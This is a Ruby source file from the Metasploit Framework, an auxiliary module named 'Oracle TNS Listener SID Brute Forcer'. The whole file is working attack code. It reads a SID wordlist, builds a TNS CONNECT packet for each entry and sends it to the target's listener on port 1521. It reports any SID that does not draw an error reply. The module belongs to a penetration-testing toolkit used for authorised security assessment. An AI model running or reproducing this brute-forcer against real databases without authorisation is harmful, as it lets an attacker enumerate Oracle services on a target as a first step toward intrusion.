metasploit-framework/modules/auxiliary/admin/oracle/sid_brute.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::TNS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle TNS Listener SID Brute Forcer',
			'Description'    => %q{
				This module simply attempts to discover the protected SID.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'https://www.metasploit.com/users/mc' ],
					[ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],
				],
			'DisclosureDate' => 'Jan 7 2009'))

		register_options(
			[
				Opt::RPORT(1521),
				OptString.new('SLEEP', [ false,   'Sleep() amount between each request.', '1']),
				OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
			], self.class)

	end

	def run

		s    = datastore['SLEEP']
		list = datastore['SIDFILE']

		print_status("Starting brute force on #{rhost}, using sids from #{list}...")

		fd = File.open(list, 'rb').each do |sid|
			login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
			pkt = tns_packet(login)

			begin
				connect
			rescue => e
				print_error(e.to_s)
				disconnect
				return
			end

			sock.put(pkt)
			select(nil,nil,nil,s.to_i)
			res = sock.get_once(-1,3)
			disconnect

			if ( res and res =~ /ERROR_STACK/ )
				''
			else
				report_note(
					:host => rhost,
					:port => rport,
					:type => 'oracle_sid',
					:data => "PORT=#{rport}, SID=#{sid.strip}",
					:update => :unique_data
				)
				print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
			end
		end

		print_status("Done with brute force...")
		fd.close

	end
end